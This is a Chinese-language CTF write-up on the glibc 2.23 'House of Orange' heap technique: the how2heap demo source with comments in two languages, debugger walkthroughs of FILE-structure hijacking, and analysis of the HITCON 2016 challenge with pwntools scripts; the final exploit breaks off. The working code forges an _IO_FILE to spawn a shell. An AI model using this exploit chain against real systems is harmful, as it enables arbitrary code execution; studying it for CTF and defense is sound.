相关知识

  • house of orange该攻击手法是在没有free函数的情况下，来获得一个在unsorted bin中的堆块。
  • 漏洞成因的源码位置在malloc.c和arena.c中（glibc2.23）
  • house of orange这种堆利用手法就已经开始与IO结合在一起了

实验

源码(英文)

源码 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
  The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
  It requires a leak of the heap and the libc
  Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

/*
   This function is just present to emulate the scenario where
   the address of the function system is known.
*/
int winner ( char *ptr);

int main()
{
    /*
      The House of Orange starts with the assumption that a buffer overflow exists on the heap
      using which the Top (also called the Wilderness) chunk can be corrupted.
      
      At the beginning of execution, the entire heap is part of the Top chunk.
      The first allocations are usually pieces of the Top chunk that are broken off to service the request.
      Thus, with every allocation, the Top chunks keeps getting smaller.
      And in a situation where the size of the Top chunk is smaller than the requested value,
      there are two possibilities:
       1) Extend the Top chunk
       2) Mmap a new page

      If the size requested is smaller than 0x21000, then the former is followed.
    */

    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
  
    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    /*
      Firstly, lets allocate a chunk on the heap.
    */

    p1 = malloc(0x400-16);

    /*
       The heap is usually allocated with a top chunk of size 0x21000
       Since we've allocate a chunk of size 0x400 already,
       what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.

       The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
       it must also be page aligned at the end.

       Also, if a chunk that is adjacent to the Top chunk is to be freed,
       then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.

       So that means that there are two conditions that must always be true.
        1) Top chunk + size has to be page aligned
        2) Top chunk's prev_inuse bit has to be set.

       We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
       What's left is 0x20c01

       Now, let's satisfy the conditions
       1) Top chunk + size has to be page aligned
       2) Top chunk's prev_inuse bit has to be set.
    */

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    /* 
       Now we request a chunk of size larger than the size of the Top chunk.
       Malloc tries to service this request by extending the Top chunk
       This forces sysmalloc to be invoked.

       In the usual scenario, the heap looks like the following
          |------------|------------|------...----|
          |    chunk   |    chunk   | Top  ...    |
          |------------|------------|------...----|
      heap start                              heap end

       And the new area that gets allocated is contiguous to the old heap end.
       So the new size of the Top chunk is the sum of the old size and the newly allocated size.

       In order to keep track of this change in size, malloc uses a fencepost chunk,
       which is basically a temporary chunk.

       After the size of the Top chunk has been updated, this chunk gets freed.

       In our scenario however, the heap looks like
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | Top  ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                            heap end

       In this situation, the new Top will be starting from an address that is adjacent to the heap end.
       So the area between the second chunk and the heap end is unused.
       And the old Top chunk gets freed.
       Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
       it gets added to list of unsorted bins.
       Now we request a chunk of size larger than the size of the top chunk.
       This forces sysmalloc to be invoked.
       And ultimately invokes _int_free

       Finally the heap looks like this:
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | free ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                                             new heap end



    */

    p2 = malloc(0x1000);
    /*
      Note that the above chunk will be allocated in a different page
      that gets mmapped. It will be placed after the old heap's end

      Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins


      Here starts phase two of the attack. We assume that we have an overflow into the old
      top chunk so we could overwrite the chunk's size.
      For the second phase we utilize this overflow again to overwrite the fd and bk pointer
      of this chunk in the unsorted bin list.
      There are two common ways to exploit the current state:
        - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
        - Use the unlinking of the chunk for an *where*-controlled write of the
          libc's main_arena unsorted-bin-list. (requires at least one allocation)

      The former attack is pretty straight forward to exploit, so we will only elaborate
      on a variant of the latter, developed by Angelboy in the blog post linked above.

      The attack is pretty stunning, as it exploits the abort call itself, which
      is triggered when the libc detects any bogus state of the heap.
      Whenever abort is triggered, it will flush all the file pointers by calling
      _IO_flush_all_lockp. Eventually, walking through the linked list in
      _IO_list_all and calling _IO_OVERFLOW on them.

      The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
      _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
      that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
      More about file-pointer exploitation can be found here:
      https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

      The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
      currently point to the libc's main_arena.
    */

    io_list_all = top[2] + 0x9a8;

    /*
      We plan to overwrite the fd and bk pointers of the old top,
      which has now been added to the unsorted bins.

      When malloc tries to satisfy a request by splitting this free chunk
      the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
      in libc's main_arena.

      Note that this overwrite occurs before the sanity check and therefore, will occur in any
      case.

      Here, we require that chunk->bk->fd to be the value of _IO_list_all.
      So, we should set chunk->bk to be _IO_list_all - 16
    */
 
    top[3] = io_list_all - 0x10;

    /*
      At the end, the system function will be invoked with the pointer to this file pointer.
      If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
    */

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    /*
      The function _IO_flush_all_lockp iterates through the file pointer linked-list
      in _IO_list_all.
      Since we can only overwrite this address with main_arena's unsorted-bin-list,
      the idea is to get control over the memory at the corresponding fd-ptr.
      The address of the next file pointer is located at base_address+0x68.
      This corresponds to smallbin-4, which holds all the smallbins of
      sizes between 90 and 98. For further information about the libc's bin organisation
      see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

      Since we overflow the old top chunk, we also control it's size field.
      Here it gets a little bit tricky, currently the old top chunk is in the
      unsortedbin list. For each allocation, malloc tries to serve the chunks
      in this list first, therefore, iterates over the list.
      Furthermore, it will sort all non-fitting chunks into the corresponding bins.
      If we set the size to 0x61 (97) (prev_inuse bit has to be set)
      and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
      smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
      therefore, occupying the smallbin[4] location in the main_arena and
      eventually representing the fake file pointer's fd-ptr.

      In addition to sorting, malloc will also perform certain size checks on them,
      so after sorting the old top chunk and following the bogus fd pointer
      to _IO_list_all, it will check the corresponding size field, detect
      that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
      and finally triggering the abort call that gets our chain rolling.
      Here is the corresponding code in the libc:
      https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
    */

    top[1] = 0x61;

    /*
      Now comes the part where we satisfy the constraints on the fake file pointer
      required by the function _IO_flush_all_lockp and tested here:
      https://code.woboq.org/userspace/glibc/libio/genops.c.html#813

      We want to satisfy the first condition:
      fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
    */

    FILE *fp = (FILE *) top;


    /*
      1. Set mode to 0: fp->_mode <= 0
    */

    fp->_mode = 0; // top+0xc0


    /*
      2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
    */

    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28


    /*
      4) Finally set the jump table to controlled memory and place system there.
      The jump table pointer is right after the FILE struct:
      base_address+sizeof(FILE) = jump_table

         4-a)  _IO_OVERFLOW  calls the ptr at offset 3: jump_table+0x18 == winner
    */

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);

   /*
     The libc's error message will be printed to the screen
     But you'll get a shell anyways.
   */

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    syscall(SYS_exit, 0);
    return 0;
}

源码(中文)

  • 老样子，翻译一遍源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
  House of Orange 通过堆溢出从而破坏_IO_list_all指针
  House of Orange 要求堆地址和libc地址的泄露
  Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

/*
   winner这个函数仅仅是展现模拟system函数的地址已知的场景
*/
int winner ( char *ptr);

int main()
{
    /*
      House of Orange 首先假设一个堆溢出,使得Top chunk被破坏。
      
      在程序执行的开始, 堆块是Top chunk的一部分.
      第一次的分配通常是Top chunk的一块，是通过服务请求从Top chunk切割下来
      因此每一次的分配Top chunk会随之变得更小
      在Top chunk的大小比我们所申请的堆块小时，就会出现以下两种情况：
       1) 扩大Top chunk
       2) 使用Mmap申请一个新内存

      如果被请求的大小小于0x21000情况,前面的两种可能也是会出现的.
    */

    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "这个技术的攻击模拟下通过malloc_printerr已经被移除了"
        "这表示在91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26)后不再调用_IO_flush_all_lockpwhich is no longer calling _IO_flush_all_lockp.\n");
  
    fprintf(stderr, "从glibc2.24中_IO_FILE vtable会被检测用来对付这个exp的白名单"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    /*
      首先我们先分配一个chunk在堆上.
    */

    p1 = malloc(0x400-16);

    /*
       堆通常被分配一个0x21000大小的top chunk,
       因为我们已经分配了一个0x400大小的堆块
       所以我们剩下0x20c00大小的堆块,包括PREV_INUSE,SIZE被0x20c01

       这个heap的边界是页对齐的.因为Top chunk是heap中的最后一个chunk.
       它必须在末尾是页对齐的

       而且,如果一个与Top chunk在物理地址上相邻的chunk被释放后,它会与Top chunk合并.
       因此Top chunk的PREV_INUSE位总是被设置.

       所以这意味着有两个条件必须一直满足
        1) Top chunk + size 必须页对齐
        2) Top chunk's prev_inuse bit必须被设置

       我们能满足这两个条件如果我们设置Top chunk的size位为0xC00 | PREV_INUSE.
       也就是0x20c01

       现在,让我们满足这两个条件
       1) Top chunk + size has to be page aligned
       2) Top chunk's prev_inuse bit has to be set.
    */

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    /* 
       现在我们申请一个堆块大小,这个堆块的size比Top chunk的size位更大的堆块
       Malloc 尝试通过扩展Top chunk的来为这个请求提供服务
       这迫使系统调用被唤醒

       在一般情况下, heap的内存布局很像如下
          |------------|------------|------...----|
          |    chunk   |    chunk   | Top  ...    |
          |------------|------------|------...----|
      heap start                              heap end

       而且一个被分配的新区域对于就的堆块结尾影响不大.
       因此Top chunk新的size位是之前的Top chunk的size位+新分配的size大小

       为了持续追踪size位的改变,malloc使用一个fencepost chunk(这个堆块总的来说是一个暂时的堆块)

       在Top chunk的size位被更新之后,这个fencepost chunk就会被free

       在我们这个场景中,heap的内存布局如下
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | Top  ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                            heap end

       在这种情况下, 新的Top将从与之前heap end地址相邻的内存空间开始
       因此在第二个堆块和heap end之间的这个空间是没有被使用的
       这个旧的Top chunk会被free
       因为旧的Top chunk的size比较大,所以当这个旧的Top chunk被释放的时候它的大小会被fastbin的堆块更大
       这个chunk就会被放入unsorted bins中
       现在我们申请一个chunk,这个chunk的size比新的top chunk更大
       这又会发生系统调用，并且最终会调用_int_free

       Finally the heap looks like this:
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | free ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                                             new heap end



    */

    p2 = malloc(0x1000);
    /*
      注意: 在chunk的高地址处将会被分配在不同的页中通过mmap调用. 
      它将被放置在旧的heap end之后

      现在我们留下是之前的Top chunk,这个Top chunk被释放并且加入到了unsorted bins中.


      这里开始阶段性的两个攻击. 我们存在一个堆溢出,这个堆溢出能溢出修改old Top chunk
      因此我们能修改chunk的size位
      第二阶段我们再一次利用溢出修改这个在unsorted bin链表的fd和bk指针
      有两个普通的方式利用当前的状态
        - 可以通过设置相应的指针,使得可以申请到任意地址 (要求至少两次申请)
        - 使用chunk的unlink操作使得main_arena中的unsorted bin链表指向可控的位置,并在该位置写入特定数据(要求至少一次		的分配)

      之前的attack是非常直接了当利用,因此我们只详细说明一个第二种利用方式的一个变种.
      这种方式在Angelboy的博客文章(上面有给链接)发现并利用

      这个攻击方式是非常惊人的,因为它的利用是当libc发现堆处于异常状态的时候会触发abort调用.
      无论何时abort被触发, 它都将通过调用_IO_flush_all_lockp刷新文件指针.
      最终, 会遍历链表_IO_list_all并且调用链表中的_IO_OVERFLOW.

      该方法是修改_IO_list_all使其指向我们伪造的文件结构体,
      在这个结构体中_IO_OVERLOW指向system函数并且这个结构体的前八字节要被设置为'/bin/sh',
      以便于调用 _IO_OVERFLOW(fp, EOF)这个函数的时候会执行system('/bin/sh').
      更多关于文件指针的利用能在这篇博客中找到:
      https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

      _IO_list_all的地址可以从free chunk的fd和bk指针计算得到,因为他们当前指向的是libc的main_arena这个地址
    */

    io_list_all = top[2] + 0x9a8;

    /*
      我们计划修改已经被添加到unsorted bins链表中的old top的fd和bk指针

      当malloc尝试满足从free chunk切割堆块的请求时,这个chunk->bk->fd的值会被修改成libc中的main_arena存放unsorted-
      bin链表指针的地址

      注意:修改发生在合理性检查之前,因此这个无论如何都会发生

      这里, 我们要求chunk->bk->fd的值成为_IO_list_all.
      因此, 我们应该设置chunk->bk为_IO_list_all - 16的值
    */
 
    top[3] = io_list_all - 0x10;

    /*
      最后, system函数将被指向该文件指针的指针调用
      如果我们将前8字节填入/bin/sh, 程序就相当于调用system(/bin/sh)
    */

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    /*
      _IO_flush_all_lockp函数会遍历在_IO_list_all中的file指针链表.
      因为我们仅能用main_arena的unsorted-bin链表去修改这个地址.
      这个利用方式可以控制内存中相关的fd-ptr指针.
      下一个文件指针的地址被放在base_address+0x68(即0x68偏移处)
      被修改的文件指针对应于smallbin-4的位置,smallbin-4这个位置保存着90-98字节的smallbin堆块.
      想了解更多关于libc的bins结构请看这个博客:
	  https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

      因为我们溢出了old top chunk,我们也就可以控制它的size位.
      这里就有点棘手了, 当前的old chunk是在unsortedbin链表中.
      每次分配的时候, malloc首先尝试将unsortedbin chunk中的堆块提供给用户(切割堆块或者整块拿走),
      因此会遍历unsorted bin这个链表.
      遍历完之后, malloc将分类所有在unsorted bins中non-fitting的堆块,将这些堆块放入相应的bins中.
      如果我们设置堆块的size位为0x61 (prev_inuse 被设置为1)
      并且触发一个比non-fitting的chunk更小的分配(就是调用malloc(),申请一个小于non-fitting chunk的大小),
      malloc将这个old chunk分类进smallbin-4这个堆块中
      因为这个bin当前没有堆块(也就是空的),所以old top chunk将成为新的头结点,
      因此,这个old top chunk的地址会占据位于main_arena中的smallbin[4]这个元素 
      并且最终会被假的文件指针的fd指针取代.

      除了分类之外, malloc也将对smallbin中的chunk进行size位的检查
      因此在对old top chunk分类和同构伪造的指针找到 _IO_list_all之后, 
      malloc将检查相应的位,查看size是否比MINSIZE小(一个宏定义相应的检查为size <= 2 * SIZE_SZ)
      并且最后触发abort函数调用,在调用时就会触发我们的利用链.
      下面一个网址是相应的利用链:
      https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
    */

    top[1] = 0x61;

    /*
      我们来到了下一阶段,这个阶段我们要绕过假文件指针的一些限制
      在函数_IO_flush_all_lockp中会对做这些限制,并且在这里会做检测,相关的源码如下:
      https://code.woboq.org/userspace/glibc/libio/genops.c.html#813

      我们如果想要绕过限制,需要满足的第一个条件如下:We want to satisfy the first condition:
      fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
    */

    FILE *fp = (FILE *) top;


    /*
      1. 设置mode为0: fp->_mode <= 0
    */

    fp->_mode = 0; // top+0xc0


    /*
      2. 设置write_base 为 2 and write_ptr 为 3: fp->_IO_write_ptr > fp->_IO_write_base
    */

    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28


    /*
      4) 最后设置这个跳表指向可控的内存,并且放置system函数在那里.
      如下的跳表指针在FILE struct是正确的:
      base_address+sizeof(FILE) = jump_table

         4-a)  _IO_OVERFLOW  calls the ptr at offset 3: jump_table+0x18 == winner
    */

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


    /* 最后, 触发整个IO链,通过调用malloc */
    malloc(10);

   /*
     libc'的错误信息将被打印到屏幕上,但是你将有极高的概率getshell(有时会真报错而推出程序).
   */

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    syscall(SYS_exit, 0);
    return 0;
}

利用过程1(构造unsorted_bin)

  • house-of-orange这个打法是在没有free的情况下，要利用堆溢出或者其他对堆的正常操作，使得top_chunk空间不够，此时就会触发一个系统调用，该系统调用就会向操作系统申请一个新的top_chunk，这个时候我们就从无free的条件下，构造出了一个放在unsorted_bin中的堆块。

  • 对于如上构造unsorted_bin的方法，目前我已知的有俩中方法：

    • 利用house-of-force通过堆溢出，对top_chunk的size位直接修改（要满足top_chunk_size修改+前面申请的堆块size=0x1000对齐）。（利用漏洞的方式）
    • 利用程序的运行逻辑，该程序单次申请能申请比较大的堆块，这样我们就有机会消耗完top_chunk的内存空间。（正常方法）

  • 接下来我们进行调试，为了调试方便我们先关闭一下随机地址偏移。由于我使用的是Docker，所以直接在宿主机关掉随机地址偏移即可。

1
sudo sysctl -w kernel.randomize_va_space=0
  • 接下来开始正式的调试，所以我们就可以进行调试，我们这边先申请了一个size=0x400大小的堆块，先对堆块初始化。

image-20250602020313200

image-20250602020320176

image-20250602020533780

  • 接下来我们为了方便调试，我们就不多申请那么大的堆块了，就直接修改top_chunk的size位为0xc01。

image-20250602020703406

image-20250602020717820

image-20250602020737334

  • 接下来我们申请一个大于0xc00大小的堆块，这就使得我们top_chunk我们无法满足用户所申请的堆块大小，触发系统调用，使得旧top_chunk放入unsorted_bin，接下来我们申请了一个0x1000大小的堆块。接下来我们来调试这个过程。

image-20250602021926744

image-20250602022014579

image-20250602022038101

image-20250602022455028

此时我们就完成了攻击的第一步，即构造出了大堆块并且放入了unsortedbin中里面去

利用过程2(了解IO)

  • 接下来我们就进行一个目前PWN的主流方法，也就是伪造或劫持IOFILE
  • 前提介绍：
    • 当libc发现堆处于异常状态的时候会触发abort调用
    • 无论何时abort被触发, 它都将通过调用**_IO_flush_all_lockp**刷新文件指针.
    • 最终, 会遍历链表**_IO_list_all并且调用链表中的_IO_OVERFLOW**.
    • 该方法是修改**_IO_list_all使其指向我们伪造的文件结构体**
    • 在这个结构体中**_IO_OVERLOW**指向system函数并且这个结构体的前八字节要被设置为’/bin/sh’
    • 以便于调用 _IO_OVERFLOW(fp, EOF)这个函数的时候会执行system(’/bin/sh’)
  • 几点明确：

  1. _IO_list_all是一个指向如下结构体的指针，该结构体如下，并且它就是单独一个指针。

  2. vtable是指向**_IO_file_jumps的一个指针，而_IO_file_jumps本身是一个指针指向的是jumps结构体**

1
2
3
4
struct _IO_FILE_plus {
    _IO_FILE file;
    const struct _IO_jump_t *vtable;  // <-- 跳转表(IO_jumps)
};
  1. _IO_FILE是一个结构体，里面存放着许多指针和其他类型的数据
  2. _IO_file_jumps是一个指针，它类似于**__IO_list_all**这个指针，指向的是一个结构体。jumps结构体如下(部分)，具体查看glibc-2.23\libio\fileops.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_file_jumps =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
  • 所以这几个指针、变量、结构体的关系

image-20250602051011103

  • 在开始伪造操作之前，我们先来查看一下**_IO_list_all这个地址所在的位置，我们使用如下命令在pwndbg中输出的是_IO_list_all**这个指针的地址
1
p &_IO_list_all
  • 此时我们发现这个**_IO_list_all这个存储在libc中，所以我们其实可以根据unsorted_bin**堆块的fd指针所指向的地址通过偏移得到。

image-20250602024456554

  • 接下来我们再使用如下命令查看**_IO_list_all这个指针指向的具体地址，我们会发现_IO_list_all**这个指针指向的是图中箭头这个位置
1
x/20gx 0x7ffff7dd2520

image-20250602025648950

  • 接下来我们再使用如下命令查看一下**_IO_list_all**这个文件结构
1
p *(struct _IO_FILE *) _IO_list_all
  • 输出之后我们会发现这样的数据

image-20250602030135507

  • 此时我们对比一下，发现IO_FILE这个结构体其实也在glibc这个位置，并且位置其实就在**_IO_list_all**下面一点。
  • struct _IO_FILE 这个结构体存储着就是**__IO_FILE**相关的东西，而我们

image-20250602030116268

  • 接下来我们查看一下_IO_file_jumps的地址
1
2
p &_IO_file_jumps
x/20gx 0x7ffff7dd06e0

image-20250602034712624

  • 接下来我们再查看**_IO_file_jumps**指向的结构体
1
p _IO_file_jumps

image-20250602034756211

  • 进行对比：

image-20250602034854954

利用过程3(伪造和劫持IO)

  • 接下来我们回到程序中继续调试。接下来这边的这个代码，就是我们通过偏移获取的**__IO_list_all文件指针**的地址

image-20250602030746865

  • 目前该指针还是指向的是原始的IO_FILE

image-20250602031015301

  • 接下来我们需要通过堆溢出，劫持位于unsorted_bin中堆块的bk指针

image-20250602031145622

image-20250602031152471

  • 劫持后就变成如下：

image-20250602031221576

image-20250602034226637

  • 接下来我们向位于unsorted_bin中的堆块写入/bin/sh\x00

image-20250602031446502

image-20250602031519304

  • 之后我们修改了处于unsorted_bin中堆块的size

image-20250602031801164

image-20250602031806900

  • 接下来就是非常关键的一步，在堆块上伪造IO_FILE和劫持__IO_list_all指针到堆块上，接下来我们先进行的操作是在堆块上伪造IO_FILE

image-20250602031912305

1
2
3
fp->_mode = 0; 
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
  • 最后我们伪造跳表和vtable
1
2
3
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

image-20250602041617779

  • 接下来就是malloc(10)触发unsorted_bin_attack的过程，根据unsorted_bin_attack

image-20250602041823597

  • 我们的**__IO_list_all就会跟新值，其值指向上图unsorted_bin**的位置中(位于libc中的main_arena)

image-20250602042134005

  • 而unsorte_bin这个指针又指向old_top这个堆块

image-20250602042257022

  • 这样我们的结构就如下：

image-20250602051525848

image-20250602052133761

image-20250602051236003

  • 最终走到这里调用winner

image-20250602045927369

house_of_orange_level_1

  • 题目来源：hitcon_2016中的house_of_orange

  • 先来检查一下保护机制,发现该题目的附件保护全开

image-20250321121231184

level_1分析1

全局变量(bss段)

  • 全局变量通过解读程序代码，我们会发现该全局变量有如下四个：
    • house_ptr：指向一个house结构，这个结构之后会说明
    • house_count：统计house的个数
    • upgrade_count：统计upgrade的个数
    • orange：存放橘子的图案

image-20250602202304652

  • 接下来我们说明一下house_ptr的这个所指向的house结构，该结构如下：
1
2
3
4
5
6
7
8
9
struct house{
    struct orange* house_size;
    char *house_name;
};

struct orange{
    int price;
    int color;
};

main函数和菜单

  • main函数其实就实现的是一个菜单的功能，具体的菜单在menu这个函数中，先放在这里，更好理清楚main函数的逻辑

image-20250602203115751

  • 接下来放出main函数的逆向代码，发现main函数主要就是两个主要功能
    • 输入选项，执行对应选项的函数。
    • 对无效选项进行处理

image-20250602203139126

Build函数

  • 接下来先看选项1，这个Build函数，其实就是主要的三个部分：
    • 先判断创建house的数量是不是超过了3个
    • 再申请一个0x10的堆块，作为house
    • 然后申请指定大小的堆块，使得该堆块被作为house_name，这个堆块的大小申请没办法超过0x1000
    • 之后使用calloc再创建一个堆块，用来存放price_orange、orange_color

image-20250602203520698

  • 所以我们就可以画出大致的堆块house结构图

image-20250602204328519

see函数

  • 这个函数主要就是一个输出的作用，输出的就是name、price

image-20250602204518021

  • 输出的内容大致如下：

image-20250602204618420

Upgrade函数

  • 主要就是重新写入house中的一些相关信息。而这个函数中存在堆溢出漏洞。
  • 此时我们就可以通过堆溢出利用house_of_force这个构造出Upgrade这个函数

image-20250602205059309

level_2分析2

  • 接下来就是动态调试的过程了。先写好交互的相关代码，进行调试操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = 'debug'
p = process('./houseoforange_hitcon_2016')

def add(size,name,price=1,color=2):
    p.sendlineafter(b'Your choice :',b'1')
    p.sendlineafter(b'Length of name :',str(size).encode())
    p.sendafter(b'Name :',name)
    p.sendlineafter(b'Price of Orange:',str(price).encode())
    p.sendlineafter(b'Color of Orange:',str(color).encode())

def show():
    p.sendlineafter(b'Your choice :',b'2')


def edit(size,name,price=1,color=2):
    p.sendlineafter(b'Your choice :',b'3')
    p.sendlineafter(b'Length of name :',str(size).encode())
    p.sendafter(b'Name:',name)
    p.sendlineafter(b'Price of Orange:',str(price).encode())
    p.sendlineafter(b'Color of Orange:',str(color).encode())
add(10,b'aaa',10)
show()
edit(10,b'2312',12)
show()
p.interactive()
  • 本质上该程序就是构造一个实验中的那个结构，原原本本的构造即可

image-20250606111414442

通过溢出得到free堆块

泄露libc和堆地址

伪造IO

exp

  • exp如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context.log_level = 'debug'
#p = process('')
p = remote('node5.buuoj.cn',25648)
libc = ELF('libc-2.23.so')
#libc = ELF('/home/myheart/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
def add(size,name,price=1,color=2):
    p.sendlineafter(b'Your choice :',b'1')
    p.sendlineafter(b'Length of name :',str(size).encode())
    p.sendafter(b'Name :',name)
    p.sendlineafter(b'Price of Orange:',str(price).encode())
